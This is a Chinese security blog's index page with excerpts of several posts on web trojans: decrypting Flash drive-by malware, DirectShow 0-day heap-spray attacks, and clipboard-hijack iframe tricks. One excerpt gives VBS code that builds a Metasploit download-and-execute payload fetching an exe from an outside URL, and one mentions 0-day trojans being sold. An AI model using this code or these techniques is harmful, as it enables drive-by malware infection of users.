鬼仔's Blog

作者：Inking

今天看到黑哥这篇文章《Flash封装的网马》，出差实在是太无聊了，稍微扯点~

在公司有时候也有解密这些网马的需求（ps：黑哥说的“终于出现了”有点夸张了，其实早就有很多~~ 目前的防挂马产品中，大部分都是基于特征的，估计很难抓到），当时首选的也是hp的swfscan，但是郁闷的是从来没有解出来过，估计是我自己用得不对 吧，最后就有今天说的这个办法。
阅读全文 »

作者：isno

现在都流行用flash挂马了，一般都用SWF Encrypt来加密，很难反编译出其中的AS脚本。但是基于无论是AS还是JS来heapspray，其中都会调用import flash.external.*;ExternalInterface.call(“eval”,”xxxx”);。如果是这种形式的我们就可以利用 hook eval的方法来解密。
阅读全文 »

来源：Xeye

Microsoft DirectShow存在可被远程利用的堆栈溢出漏洞。

关键代码如下：
————————-以下内容有危险，仅为研究使用————–
阅读全文 »

来源：80SEC非官方八卦BLOG

漏洞攻击形势：

DirectShow 0DAY第二波爆发！！该漏洞在国内已经呈大规模爆发形势。至少有几千网站被挂上了该漏洞的网页木马！

漏洞攻击细节：

与第一波的DirectShow 0DAY 不同，这次的漏洞是DirectShow相关msvidctl.dll组件解析畸形MPEG2视频格式文件触发溢出，攻击者可以使用普通的javascript堆喷射方式远程执行任意代码。
阅读全文 »

作者：lcx

‘code by lcx

On Error Resume Next
Exeurl = InputBox( “请输入exe的地址：”, “输入”, “http://www.haiyangtop.net/333.exe” )
url=”http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL=”&URLEncoding(Exeurl)&”&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload”
阅读全文 »

# 鬼仔：观望明天微软的补丁情况，是否会补上这个0DAY漏洞，如果没有补丁的话。。。八成不会补。360论坛还有一个。

作者：greysign

好吧。被人发出来了。上周末还有人5000一小马。甚至一开始有12W出售的。

湛江那边更新了发出来了。我也发给吧。。。不分析。上代码。

360补完还是中的~
阅读全文 »

作者：余弦

今天xKungfoo最后一天，G在上面做了个挂马产业链的议题。有些挂马猥亵技巧没有说详细，这里公开吧。其实有些没什么，就是技巧，有些人也玩过。

第一个、剪贴板劫持挂马

其实这是针对富文本编辑器的一种隐蔽的攻击方式，当你粘贴某段从别处拷贝来的文字时，就会执行一个iframe标签对象（富文本编辑器的性质），iframe加载网马。简单的demo：
阅读全文 »

作者：lcx
来源：vbs小铺

测试此网马不必要装access，只需单独装一个SNAPVIEW.EXE就可以测试（微软有下），不过我没有找到这个控件的可执行的方法，只能将网马的exe用js判断系统的语言选项后放在启动项里。装ACESS的用户要小心了。下边是我eXeScope 找到此此ActiveX的Property和Method。
阅读全文 »